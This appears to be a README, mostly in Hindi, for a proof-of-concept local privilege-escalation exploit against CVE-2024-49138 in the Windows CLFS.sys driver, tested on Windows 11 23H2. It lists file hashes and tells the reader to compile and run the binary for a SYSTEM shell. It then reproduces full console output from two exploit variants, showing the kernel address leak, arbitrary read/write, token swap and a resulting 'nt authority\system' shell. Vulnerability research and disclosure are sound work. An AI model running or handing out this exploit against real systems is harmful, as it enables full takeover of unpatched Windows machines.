
CVE-2024-49138 के लिए POC exploit
प्रूफ ऑफ कॉन्सेप्ट जो CLFS.sys में CVE-2024-49138 का शोषण करता है।
CrowdStrike ने पाया कि इस भेद्यता का साइबर हमलावरों द्वारा सक्रिय रूप से शोषण किया जा रहा है।
Windows 11 23h2 पर परीक्षण किया गया।
एक गहन विश्लेषण यहाँ उपलब्ध है।
नीचे ntoskrnl.exe और clfs.sys के हैश दिए गए हैं जिनका उपयोग POC का परीक्षण करने के लिए किया गया था।
PS C:\Windows\System32\drivers> Get-FileHash .\clfs.sys
Algorithm Hash Path
--------- ---- ----
SHA256 B138C28F72E8510F9612D07D5109D73065CED6CBBF8079A663A1E0601FE0FBAA C:\Windows\System32\drivers\c...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash .\ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 0CE15480462E9CD3F7CBF2D44D2E393CF5674EE1D69A3459ADFA0E913A7A2AEB C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
x64 Release संस्करण संकलित करें।
चलाएं और सिस्टम शेल प्राप्त करें।
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
hResource = 0x00007FF7CDB890A0
pResourceData = 0x00007FF7CDB890A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80339800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FFFAF0EFB40
NtWriteVirtualMemory = 0x00007FFFAF0EFAA0
pcclfscontainer = 0x0000000002100000
address_to_write = 0xFFFFC201424CC2B2
Process priority set to REALTIME_PRIORITY_CLASS.
Thread priority set to the highest level: TIME_CRITICAL.
triggering vuln...CreateLogFile failed with error 6601
Process priority set to NORMAL_PRIORITY_CLASS.
Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>whoami
nt authority\system
C:\Users\IEUser\Desktop>

दूसरे एक्सप्लॉइट का आउटपुट second शाखा में।
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF780DDA080
hResource = 0x00007FF780DDA0A0
pResourceData = 0x00007FF780DDA0A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80259800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FF9B750FB40
NtWriteVirtualMemory = 0x00007FF9B750FAA0
CreateThread returned successfully
spawned thread sleeping...pcclfscontainer = 0x0000000002100000
ppfileObject = 0x0000000002100030
pfileObject = 0x0000000002100130
pDeviceObject = 0x0000000002100230
pdriverObject = 0x0000000002100330
pDriverFuction = 0x00000000021003C8
driverFunction = 0xFFFFF80259FF06A0
address_to_write = 0xFFFFAB00027682B2
file opened successfully
triggering vuln...
AddLogContainer failed with error 6643
hijacking execution flow. Wait 15 seconds...
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFAB0003A6A578
systemtoken = 0xFFFFC2084BC1C6E6
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
